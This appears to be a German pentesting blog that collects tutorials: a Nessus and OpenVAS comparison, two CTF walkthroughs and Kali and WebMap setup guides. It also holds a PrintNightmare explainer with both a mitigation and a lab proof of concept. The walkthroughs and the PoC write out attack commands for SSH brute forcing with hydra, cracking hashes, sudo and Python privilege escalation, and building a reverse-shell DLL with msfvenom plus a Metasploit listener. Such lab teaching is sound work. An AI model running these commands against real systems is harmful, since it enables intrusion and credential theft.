Im Verlauf dieses Tutorials betrachten wir sowohl die Verwendung von Nessus als auch OpenVAS. Doch warum sollten wir uns zwei der führenden Vulnerability Scannern widmen? Sind die Ergebnisse nach dem Durchlaufen eines Scans so unterschiedlich, dass sich ein Vergleich lohnt? Obwohl OpenVAS als Abspaltung von Nessus entstanden ist, also beide eine gemeinsame technische Basis mitbringen, ist die Entwicklung unterschiedlich vorangeschritten. Nessus gilt unter den Vulnerability Scannern als weltweit führende kommerzielle Lösung. OpenVAS hingegen stellt die Open Source Lösung dar. Die Programmteile sind unter GPL lizensiert und seit 2019 wird der openVAS Scanner als Bestandteil des Greenbone Vulnerability Management (GVM) geführt. Trotz der gemeinsamen Wurzeln weisen die Schwachstellenscanner teils erhebliche Unterschiede auf, wie wir später sehen werden.

1. Installation von Nessus und erster Scan
2. Installation von OpenVAS und erster Scan
3. Vergleich
4. Fazit


1. Installation von Nessus und erster Scan:

1.1 Bevor wir uns mit der Installation von Nessus widmen bringen wir unser System mit dem folgenden Befehl auf den neusten Stand:

sudo apt-get update && apt-get upgrade -y

1.2 Da wir Nessus auf einem Kali Linux Rechner verwenden wollen, wählen wir die Debian Version für die Installationsdatei aus. Dazu navigieren wir zur Herstellerseite www.tenable.com/products/nessus/nessus-essentials und laden die entsprechende Datei herunter.

1.3 Ist der Download beendet, wechseln wir ins Downloadverzeichnis und öffnen die Paketverwaltung um Nessus zu installieren

sudo dpkg -i Nessus-10.3.0-debian9_amd64.deb

1.4 Nach Abschluss der Installation starten wir den Nessus Daemon mit dem Befehl

sudo /bin/systemctl start nessusd.service

1.5 Nun steht dem Start nichts mehr im Wege und wir öffnen die folgenden Webseite mit unserem Browser:

https://127.0.0.1:8834

1.6 Wir akzeptieren den Sicherheitshinweis und geben den zuvor beantragten Lizenzschlüssel für die Nessus Essentials Version ein.

1.7 Anschließend können wir einen Benutzeraccount für die Weboberfläche anlegen. Ist dies geschehen, startet der Download der Plugins.

1.8 Nach dem Download der Plugins und dem Eintragen des Benutzernamens samt Password navigieren wir auf die Seite "Scan Templates". Dort wählen wir "Basic Network Scan" aus und füllen die geforderten Eingaben aus.

Unter dem Menüauswahl "Discovery" verwenden wir den "Port Scan" welcher alle Ports abfragt. Nachdem wir unseren Scan vorbereitet haben speichern wir diesen ab. Er ist nun unter der Menüpunkt "My Scans" zu finden. Dort klicken wir auf den Play-Symbol um den Scan zu starten.

Nach dem Durchlaufen des Scans erhalten wir die Ergebnisse


2. Installation von OpenVAS und erster Scan

2.1 Mit dem folgendem Befehl updaten wir unser System und installieren OpenVAS

sudo apt-get update && apt-get install openvas -y

2.2 Nach dem Durchlaufen der Installation erscheint uns als nächstens das Passwort. Der hierzu gehörende Username lautet:"admin". Sinnigerweise können wir das Passwort bereits beim ersten Start ändern. Dazu später.

2.3 Um sicherzustellen, dass die Installation fehlerfrei durchlaufen ist nutzen wir den folgenden Befehl:

sudo gvm-check-setup

2.4 Die Installation ist nun einsatzbereit und können an dieser Stelle den Browser verwenden, um zum Dashboad zu gelangen

http://127.0.0.1:9392

2.5 Wie anfangs angesprochen, ändern wir unser Passwort unter "my settings" und klicken zudem auf den Notizblock oben links. Sind die Eingaben getätigt schließen wir das Fenster mit "save".

2.6 Um sobald als möglich loszulegen wechseln wir die Ansicht, indem wir auf die Button "Scans" klicken. Dort benutzen wir das Task Wizard Symbol um einen ersten Scan durchzuführen. Nach Angabe der IP Adresse des zu scannenden Host starten wir den Scan wie abgebildet.

2.7 Das Durchlaufen des Scans dauert nun eine Weile. Die Scandauer ist variabel und ein vulnerables System wir metasploitable mit vielen Sicherheitslücken dauerte ungefähr eine Stunde.

2.8 Nach Beenden das Scans stellt OpenVAS einen Report zur Verfügung. Diesen rufen wir auf, indem auf der oberen Leiste auf "Scans" -> "Reports" und anschließend den Report aus der Liste auswählen. Es erscheint zunächst eine Übersicht mit grundlegenden Informationen.

2.9 Die Ausgabe der ermittelten Schwachstellen erhalten wir durch das Wechseln auf den Reiter "Results".

2.10 Unterhalb der Menüleiste am oberen Rand erhalten wir die Möglichkeit einen Report zu exportieren. Um beispielsweise ein PDF zu erhalten wählen wir das Downloadsymbol mit dem Pfeil nach unten und verwenden anschließend .pdf als Ausgabeformat.

3. Im folgenden Vergleich gehen wir auf die Vor- und Nachteile beider Produkte ein und weisen anschließend auf die Unterschiede bei der Erkennung von Schwachstellemn hin.

3.1 Pro/Cons Nessus:

+ niedrige falsch / positiv Rate
+ niedrige Responsetime bei neu entdeckten Schwachstellen
+ moderne Benutzeroberfläche
+ fertige Templates für große Sicherheitslücken
+ Berücksichtigung von 72K CVEs

- hohe Kosten für professionelle User
- keine Open Source Software

3.2 Pro/Cons OpenVAS:

+ kostenlos
+ Integration in andere Sicherheitslösungen
+ höhere Gesamtanzahl an sicherheitsrelevanten Hinweisen

- Probleme mit falsch-positiven Ergebnissen
- Berücksichtigung von mur 26K CVEs
- keine Policy Management

3.3 Anzahl der Ergebnisse bei Nessus/OpenVAS:

High: 10
Medium: 25
Low: 2
Log: 72

Critical: 10
High: 5
Medium: 24
Low: 5
Info: 124

3.4 Auffälligkeiten bei der Untersuchung der Ergebnisse: die Durchsicht von "kritischen" oder Hinweisen der Stufe "hoch" in der Ergebnisliste der Schwachstellenanalyse zeigt eklatante Unterschiede unter beiden Programmen auf. An folgender Stelle sei eine Auswahl an Auffälligkeiten aufgezeigt, die bei der Analyse von Metaspolitable entstanden sind.

Folgende Einträge fehlen in den Ergebnissen bei OpenVAS:
- NSF Exported Share Information Disclosure Port: 2049 / udp
- NFS Shares World Readable Port: 2049 / tcp
- Samba Badlock Vulnerability Port: 445 / tcp


Folgende Einträge fehlen in den Ergebnissen bei Nessus:
- TWiki XSS and Command Execution Vulnerabilities Port; 80 / tcp
- Possible Backdoor: Ingreslock
- Distributed Ruby Multiple Remote Code Execution Vulnerabilities Port:8787/tcp

Die Auswahl gibt einen Hinweis darauf, dass selbst bei kritischen Sicherheitslücken die Ergebnisse nicht übereinstimmen. Dabei werden Schwachstellen entweder gar nicht erwähnt oder sie finden sich in unterschiedlichen Kategorien wieder.

Auffallend ist bei der Sortierung der Ergebnisse zudem, dass etliche Schwachstellen unter Nessus einen deutlich niedrigeren Score aufweisen als OpenVAS. So rangiert beispielsweise die Unreal IRCd (6697/tcp) Schwachstelle unter Nessus in der Rubrik "Info", während sie in OpenVAS als "high" eingestuft wird. Gleichsam verhält es sich mit einem FTP Server. Laut OpenVAS weist dieser in der laufenden Version eine Backdoor Vulnernability auf, während Nessus hingeben nur einen Hinweis auf einen laufenden Dienst ausgibt.

4. Fazit:

Angesichts der teils deutlichen Unterschiede bei der Bedienung, dem Workflow und Umfang an detektierten Schwachstellen kann keine Entweder-oder Empfehlung gegeben werden. Ratsam ist deshalb eine Nutzung bzw. die Kombination beider Produkte bei der Schwachstellenanalyse. Bei der Anzahl der detektierten von Schwachstellen bei Metasploitable punktet OpenVAS während Nessus eine zuverlässigere Erkennungsrate bietet.

Im folgenden Beitrag spielen wir wieder einmal ein Walkthrough durch. Die zugrundeliegende VM besitzt den Namen HackathonCTF. Ziel ist es, root Rechte am Zielsystem zu erlangen. Der Schwierigkeitsgrad dieser Challenge ist als leicht einzustufen.

Reconnaissance:

1) Zu Beginn müssen wir in Erfahrung bringen, welche IP Adresse unser Zielsystem hat. Da netdiscover oftmals nicht die gewünschten Resultate liefert, nutzen wir die Ping Funktion von nmap. Der entsprechende Befehl lautet wie folgt:

sudo nmap -sn 10.0.2.1/24

Die Option -sn erlaubt es uns, einen einfachen Ping durchzuführen und gleichzeitig die Portscanfunktion deaktivieren.

Portscanning / Vulnerability Scanning:

2) Als nächsten Schritt führen wir einen Portscan mit der im vorherigen Schritt ermittelten IP-Adresse durch. Die Option -A ist gleichbedeutend mit der Option -sV und bedeutet, dass ein aggressiverer Scan samt Versionsbestimmung und weiterer Optionen durchgeführt wird.

sudo nmap -A -p- 10.0.2.4

Der Scan liefert die folgenden Ergebnisse:
  
21/tcp ftp
23/tcp telnet
80/tcp http
7223/tcp ssh


3) Der Aufruf der Webseite bringt uns zunächst keine neuen Erkenntnisse. Oftmals befinden sich jedoch weitere Verzeichnisse und Dateien auf dem Webserver die nur direkt aufgerufen werden können. Dazu nutzen wir einen nikto scan, welcher uns Aufschluss über die Datei- und Verzeichnisstruktur gibt.

nikto -h http://10.0.2.4

Alternativ bietet es sich an, per dirbuster den Webserver mit einer Suchliste zu brutforcen:

dirb http://10.0.2.4 /usr/share/wordlists/dirb/big.txt

Beide Tools weisen uns auf eine robots.txt Datei auf dem Webserver hin, welche wir sogleich im Webbrowser öffnen werden.

4) Am unterem Ende der Datei finden wir eine base64 verschlüsselte Textzeile, welche uns nach dem decoding folgenden Inhalt präsentiert:

ssh-bruteforce-sudoit

Diese Zeile enthält also den Hinweis, dass wir uns mit einer Brutforce Attacke auf den ssh Server beschäftigen sollten.

5) Neben der verschlüsselten Textzeile, finden sich zusätzlich einige Disallow Verzeichnisse. Ein Aufruf im Browser mit .html als Endung bringt uns jedoch weiter. Nachdem wir folgende URL in unseren Webbrowser eingeben und uns den Quellcode ausgegeben haben lassen, erhalten wir einen Benutzernamen "test", der uns später zum einloggen per ssh behilflich seien wird.

http://10.0.2.4/sudo.html

Exploitation:

6) Als nächstens beginnen wir also per hydra einen ssh bruteforce auf unser Zielsystem und setzen dabei unseren Benutzernamen ein, den wir im vorangegangen Schritt herausgefunden haben.

hydra -l test -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.4:7223 -f

Die Option -l gibt lediglich an, ein vordefinierten Benutzernamen einzusetzen und die Option -p benutzt die nachfolgende Passwortliste. Die Verwendung der Option -f beendet den Angriff nachdem ein gültiges Passwort gefunden wurde.

7) Der Hydra Angriff ist erfolgreich und wir erhalten das Passwort jordan23. Mit diesem loggen wir uns per ssh an unserem Zielrechner ein:

ssh test@10.0.2.4 -p 7223

8) Um zu prüfen, ob wir anhand der Historie der Bash-Befehle weitere Hinweise finden, geben wir folgenden Befehl ein:

history

Privilege Escalation:

9) Die Liste zeigt uns am unteren Ende den folgenden Befehl, welcher uns Root Rechte verschafft

sudo -u#-1 /bin/bash

Aus aktuellem Anlass soll an dieser Stelle die jüngste Sicherheitsschwachstelle für Microsoft Betriebssysteme ab der Version 7 naher erläutert werden. Die Schwachstelle besitzt die Bezeichnung PrintNightmare und die CVE Kennung CVE-2021-34527. Zwar wurde seitens Microsoft ein Update bereitgestellt, allerdings gilt es zu beachten, dass dieses Update die Schwachstelle nicht schließt. Ein Exploit ist damit weiherhin möglich.

Grundsätzlich nutzt die Schwachstelle die Tatsache aus, dass ein authentifizierter Benutzer die Funktion RpcAddPrinterDriverEx() aufrufen kann und zusätzlich in die Lage versetzt wird, eine Treiberdatei anzugeben, die sich auf einem Remote Server befindet. Damit ist es möglich, dass die Druckerverwaltungssoftware spoolsv.exe im Anschluss eine beliebige .dll Datei mit Administrator Rechten ausführen kann (Remote Code Execution). Microsoft gibt in einer Erklärung bekannt, dass ein Angreifer, welcher diese Sicherheitslücke erfolgreich für seine Zwecke ausnutzen, auch Programme nachladen, Dateien anzeigen, ändern und löschen kann.

Die spoolsv.exe ist ein nativer Windows System Dienst der standardmäßig aktiviert ist, allerdings keine systemkritischen Abhängigkeiten besitzt. So ist es nicht verwunderlich, dass Microsoft Anwendern rät, den Windows Print SpoolerDienst auf ihren Rechnern zu deaktivieren. Das gilt auch dann, wenn bereits die zur Verfügung gestellten Patches installiert wurden. Um den Print Spooler zu deaktivieren geht man wie folgt vor:

1) Eingabe des Befehls "powershell" in die Suchleiste und anschließende Ausführung als Administrator

2) Am Command Prompt wird nun folgender Befehl ausgeführt:

Stop-Service -Name Spooler -Force

3) Um nach einem Neustart die erneute Aktivierung des PrintSpoolers zu verhindern, brauchen wir folgenden Befehl:

Set-Service -Name Spooler -StartupType Disabled


Im weiteren Verlauf soll anhand der bereits im Internet zur Verfügung gestellten Literatur ein Proof of Concept (PoC) erstellt werden.

Vorbereitungen:

  • Installation von Windows 10 und Kali Linux als VMs z.B. in VMware Workstation 16 Pro (Kali Linux unter VMware Workstation 16 Pro installieren)
  • Windows 10 Defender ausschalten
  • ggf. Windows 10 Firewall deaktivieren
  • Windows SMB Service erreichbar machen
  • Kali Linux per apt-get update && apt-get upgrade auf den neusten Stand bringen
  • Starten des Kali SMB Servers mit service smbd start und service nmbd start

1) Zur Ermittlung der IP Adresse unseres Windows 10 Target Systems geben wir folgenden Befehl ein und setzen anschließend einen Ping ab:

ipconfig
ping [IP_target_maschine]

2) Nun testen wir, ob der betroffene Spooler Dienst aktiv ist:

net start spooler

3) Auf unserem Kali Linux System erstellen wir einen Ordner namens "share"

cd /
mkdir share

4) Zur Erzeugung des Payloads in Form einer kompromittieren .dll Windows Bibliotheksdatei, greifen wir auf msfvenom zurück. Dieses Tool ist Teil des Metasploit Frameworks und bereits vorinstalliert. Die Option -f gibt uns dabei das Ausgabeformat vor und die Option -p die Art des Payloads, in diesem Fall die Erzeugung einer Reverse Shell.

cd share
msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=[IP_address_attacking_maschine] LPORT=443 -o reverse2.dll

5) Bevor wir fortfahren, installieren wir an dieser Stelle die Impacket Version mit den zugehörigen Netzwerkprotokollen zur Ausführung in Python. Dazu deinstallieren wir die vorherigen Versionen, kopieren die Ressource und wechseln ins Verzeichnis impacket. Schließlich starten wir das Installationsscript.

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

6) Die schnellste Methode zum Starten eines SMB Servers gelingt mit dem Impacket-SMB-Server und folgendem Befehl:

impacket-smbserver <sharename> '<path>'

impacket-smbserver share /share

7) Danach starten wir die msfconsole des Metasploit Frameworks und geben die folgenden Daten ein um unseren Listener auf Port 443 zu starten:

use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [IP_address_attacking_maschine]
set LPORT [443]
run

8) Im Anschluss starten wir unseren Exploit:

python3 CVE-2021-1675.py User:This email address is being protected from spambots. You need JavaScript enabled to view it. '\\192.168.207.128\share\revrese2.dll

9) Nachdem der Exploit gestartet wurde, erhalten wir unsere Reverse Shell:

Literatur:
https://github.com/cube0x0/CVE-2021-1675
https://www.youtube.com/watch?v=qU3vQ-B-FPY
https://www.youtube.com/watch?v=Iq3_hzRLBvI
https://www.thewindowsclub.com/enable-or-disable-print-spooler-service
https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution

Wer sich dem Penetrationtesting widmen möchte, der kommt an Kali Linux nicht vorbei. Statt Kali Linux auf physischer Hardware einzusetzen, ist es weitaus einfacher, eine virtualisierte Maschine zu erstellen. Werden nun auch die Angriffsziele, die man fertig als VM herunterladen kann, virtualisiert, steht dem Penetrationtesting nichts mehr im Wege. Als Anbieter für Virtualisierungssoftware stehen beispielsweise VirtualBox oder VMware zur Verfügung. Während VirtualBox eine Opensource Lösung anbietet und kostenlos ist, ist VMware gegen einen geringen Preis zu haben. Hier soll die Installation von Kali Linux als VM unter VMware beschrieben werden.

1) Zunächst wird die .iso Datei von der Anbieterwebseite heruntergeladen. In unserem Fall benötigen wir die Kali Linux 64-Bit Installer Variante.

2) Im Anschluss beginnen wir mit dem Wizard zur Erstellung einer neuen VM. Dazu klicken wir auf File -> New Virtual Maschine

3) Als nächstens wählen wir die Methode "Typical" aus.

4) Es erscheint nun ein Auswahlfenster, bei dem wir das soeben heruntergeladene Image auswählen können.

5) Dann wählen wir das zugrundeliegende Gastbetriebssystem aus, in diesem Fall basiert Kali Linux auf einem Debian Betreibsystem.

6) Nun können wir den Namen der virtuellen Maschine vergeben und angeben wo unsere VM die Daten für die VM ablegen soll.

7) Als nächstens wählen wir die Größe der Festplatte aus. Wir belassen dazu denn Wert bei 20 GB.

8) Als letzten Schritt bestätigen wir die Übersicht über unsere neue VM, indem wir auf Finish Klicken. Die VM ist nun betriebsbereit und Kali Linux startet den Installer sobald wir auf Starten klicken. Auf den Verlauf der Installation soll an dieser Stelle nicht weiter eingegangen werden, da sämtliche Standardeinstellungen schon voreingestellt nutzbar sind und nur bestätigt werden müssen.

Optional:

Wer Kali Linux zum ersten Mal startet, wird merken, dass während der Installation kein root Passwort eingerichtet worden ist, da dies in den neuen Versionen von Kali Linux auch nicht vorgesehen ist. Das lässt sich durch folgende zwei Befehle ändern, sodass beim Laden der GUI nun auch ein root User zur Auswahl steht.

sudo su (Eingabe des Passwort des Kalii Users)

passwd root (zweimalige Eingabe des neuen root Passworts)

Bei diesem Tutorial geht es um die Installation von WebMap. WebMap ist in der Lage die bei einem scan von nmap erhaltenen Daten sinnvoll aufzubereiten. Je nachdem welche Ports offen oder geschlossen oder auch welche laufenden Dienste ermittelt worden sind, werden diese Ergebnisse graphisch dargestellt. Zusätzlich kann nach Bedarf ein Report im pdf Format erstellt werden, welcher dann etwa einem Auftraggeber zur Präsentation übergeben werden kann.

1) Falls der Docker daemon nicht schon laufen sollte,  wird er per folgendem Befehl gestartet:

systemctl start docker

2) Als nächstes wird portainer mit diesem Befehl installiert:

sudo docker run -d -p 9000:9000 --restart always --name portainer -v portainer_data:/data -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer

3) Der Befehl ifconfig liefert uns die IP-Adresse unserer Docker Installation:

ifconfig

4) Im Browser starten wir die Oberfläche von portainer mit der zuvor ermittelten IP-Adresse von Docker und dem Port 9000. Nach dem klick auf connect erhalten wir die Seite des Dashboards von portainer.

5) Dort klicken wir einmal auf Add Container. Auf der anschließend erscheinenden Seite muss nun der Name des neu zu erstellenden Containers eingegeben werden. Zusätzlich muss der Namen des Containers wie er auf DockerHub zu finden ist, also makertim/webmap, angegeben werden. Durch einen Klick auf Deploy reiht sich der Container in der Liste der vorhandenen Container ein.

6) Im Anschluss wechseln wir auf den Reiter zur neunen WebMap Seite. Dort werden wir zu Erstellung eines Tokens gebeten, welches wir im zurück im Terminalfenster tun werden.

7) Durch die Eingabe von

docker ps -a

erhalten wir alle lauffähigen Installationen von allen Container samt der zugehörigen ID.

8) Im Anschluss daran erstellen wir mit dem Befehl

sudo docker exec -ti "Container ID" /root/token

einen Token, den wir anschließend für das Eingabefeld verwenden werden.

9) Nun können wir auf der WebMap Oberfläche einen neuen Scan vorbereiten. Dazu klicken wir auf New Scan und vergeben in der Eingabemaske Namen, Target IP und die zugehörigen Parameter etwa -St -A.

10) Sollte WebMap den Scan an dieser Stelle nicht ordnungsgemäß durchlaufen und keine xml Datei erstellen können, kann man sich mit einem Workaround behelfen. Dazu öffnet man die Konsole des entsprechenden Containers (über das Icon in der Portainerseite) und läßt dort den nmap Scan starten. Die zu erstellende xml Datei muss danach in den Ordner /opt/xml verschoben werden.

11) Besonders praktisch ist, wie schon erwähnt, die Möglichkeit zur Erstellung einen Port Scan Reports im pdf Format. Damit lassen sich die von nmap erzielten Ergebnisse für Präsentatiosnzwecke aufbereiten.

Wer Spaß am Penetration-Testing hat, aber noch auf der Suche nach geeigneter Literatur ist, den weise ich auf folgende Bücher hin:

Reconnaissance:

Wie gehabt, dient uns netdiscover um die IP Adresse zu ermitteln. Dies setzt natürlich voraus, dass die VM zunächst heruntergeladen und in Virtual Box eingegliedert wurde. Die Ausgabe erfolgt tabellarisch und gibt in unserem Fall die Die Adresse 192.168.1.121 aus.

1) netdiscover

 

Portscanning / vulnerability scanning:

Im Anschluss verwenden wir nmap im Rahmen des Scannings nach Schwachstellen. Optional kann durch Hinzufügen der Option -p- ein weiterer offener Port identifiziert werden, welcher für den Remotezugriff auf das System dient, aber im Verlauf dieser Challenge keine Rolle spielt. Ansonsten dient die Option -A für eine erweiterte Ausgabe, welche  auch entsprechende Versionshinweise zu offenen Ports miteinschließt. Nach Abschluss des Scans liefert nmap einen offen Port 80, sowie die drei weiteren Ports 22, 111, 33318.

2) nmap -A -p- 192.168.1.121

Das Öffnen der IP-Adresse im Browser weist auf einen laufenden Webserver mit Wordpress als CMS hin.

3) 192.168.1.121 (im Browser öffnen)

Weitere Hinweise zum Webserver liefert ein im Anschluss durchgeführter Nikto scan, welcher uns auf einen Apache Server samt Verzeichnisstruktur hinweist. Neben einem Verzeichnis für CSS Daten werden auch ein /img und ein /manual Verzeichnis gefunden. Zur weiteren Analyse der Verzeichnisstruktur bietet es sich an, den dirbuster von Kali Linux einzusetzen. Nach am starten von der Kommandozeile erscheint die GUI, welche uns Einstellmöglichkeiten zur Anzahl der Threads und zur Auswahl der Verzeichnisliste während des Bruteforcescans bietet. Die Verzeichnisliste befindet sich in /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt. Der Start von dirbbuster setzt zudem eine vollständige Angabe der target URL voraus. Gleich zu Beginn liefert die Ausgabe von dirbuster den Hinweis auf die Verwendung einer WordPress Datei, welche wir im weiteren Verlauf weiter untersuchen werden. Zudem liefert der html Code des /service Verzeichnisses die erste der vier Flaggen (flag1).

4) nikto -h http://192.168.1.121

5) dirbuster

Da sowohl nikto scan als auch dirbuster uns wertvolle Informationen zur laufenden Diensten unseres Target lieferten, erfolgt nun im Anschluss ein wpscan. Um die Usernamen der WordPress Installation zu extrahieren, erfolgt der Start mit Hilfe der option -at -eu. Nach erfolgreicherem Durchlaufen liefert wpscan die zwei User steven und michael.

6) wpscan --url http://192.168.1.121/wordpress --wp-content-dir -at -eu

Die zu Beginn des Enummerationprozess erhaltenen Informationen über einen offenen ssh port dient nun im Folgenden einer bruteforce Attacke. Zur Vorbereitung wird eine txt Datei angelegt, welche die beiden Namen enthält. Dazu nutzen wir nano als Editor und schreiben die beiden Usernamen untereinander und speichern die Datei auf dem Desktop.

7) nano names.txt -> steven, michael reinschreiben

Die abgespeicherte Datei dient nun Hydra um eine brute force Attacke zu initiieren. Dazu starten wir hydra mit dem Befehl:

8) hydra -L ./Schreibtisch/names.txt -P usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.121

Bereits nach kurzer Zeit liefert hydra uns die Zugangsdaten für den ssh Zugang. Der Login erfolgt mit dem Benutzer michael und dem passwort michael.

9) ssh This email address is being protected from spambots. You need JavaScript enabled to view it.
    pw:michael

10) Nach dem Login liefert uns der Befehl pwd den Namen des aktuellen Verzeichnisses. Die Eingabe von id zeigt uns Benutzer und Gruppen ID, in unsrem Fall ein Benutzer bislang ohne root Rechte. Zusätzlich erhalten wir mit cat /etc/issue/ Informationen über das laufende Betriebssystem.

12) cat /etc/issue

Exploitation:

Im Rahmen der Exploitation nutzen wir das Bash Skript LinEnum, welches wir mit dem Befehl

 

12) wget https://raw.githubusercontent.com/rebootuser/LinEnum/masterlinEnum.sh

herunterladen und ausführbar machen.

13) chmod 775 linEnum.sh
 
Der Start von LinEnum liefert uns in den Ergebnissen die Information über ein SQL Server.

14) ./LinEnum.sh

Bevor wir uns jedoch mit SQL weiter beschäftigen liefert uns das Apache Installationspfad die zweite Flagge in dieser CTF Challenge. Dazu wechseln wir mit in das Verzeichnis

15) cd /var/www und Öffnen mit

16) cat flag2.txt die Textdatei.

Innerhalb desselben Verzeichnisses befindet sich unter /var/www/html/wordpress die Datei wp-config.php, welche zentrale Einstellungen für WordPress speichert. In dieser Datei befinden sich auch die Login Daten für die SQL Datenbank, nämlich WordPress für den Namen der Datenbank, sowie den Usernamen root mit dem zugehörigen Passwort R@v3nSecurity.

17) cd /var/www/html/wordpress 

18) nano wp-config.php net

Um nachzuschauen, dass tatsächlich ein SQL Server auf einem Port lauscht, nutzen wir den Befehl natast, welcher uns tabellarisch sämtlich Dienste mit den zugehörigen Ports auflistet.

19) netstat -antp

Im Folgenden loggen wir uns in die SQL Datenbank mit den soeben erhaltenen Login Daten ein.

20) mysql -u root -p wordpress -> passwort eingeben

Mit den folgenden Befehl manövrieren wir uns durch die Datenbank und erhalten im table wp_posts die Flaggen 3 und 4.

21) show databases;

22) use wordpress;

23) show tables;

24) select * from wp_posts; -> flag3 und flag4

Wir wiederholen die ersten drei Befehle und erhalten die Zugangsdaten von michael und steven und deren Passwörter im MD5(wordpress) Format.

25) show databases;

26) use wordpress;

27) show tables;

28) select * from wp_users; -> michael und steven email

Um nun vom Passwort hash auf das verwendete Passwort zurückzurechnen starten wir john. Dazu müssen wir vorher eine Textdatei mit dem Hash als Inhalt erstellen. Mit dem Befehl

29) john hash.txt

starten wir john und cracken des Passwort in diesem Fall von steven. Das erhaltenen Passwort lautet pink84. Dies erlaubt uns den Login mit steven

30) su steven

 

Privilege escalation:

Unsere Rechte reichen aus um Python zu starten und root Rechte zu erlangen.

31) cd /tmp -> sudo /usr/bin/python -> import os -> os.system('/bin/bash')

Abschließend öffnen wir die vierte Flagge flag4, welche sich im root Verzeichnis befindet:

32) cat flag4.txt

We use cookies on our website. Some of them are essential for the operation of the site, while others help us to improve this site and the user experience (tracking cookies). You can decide for yourself whether you want to allow cookies or not. Please note that if you reject them, you may not be able to use all the functionalities of the site.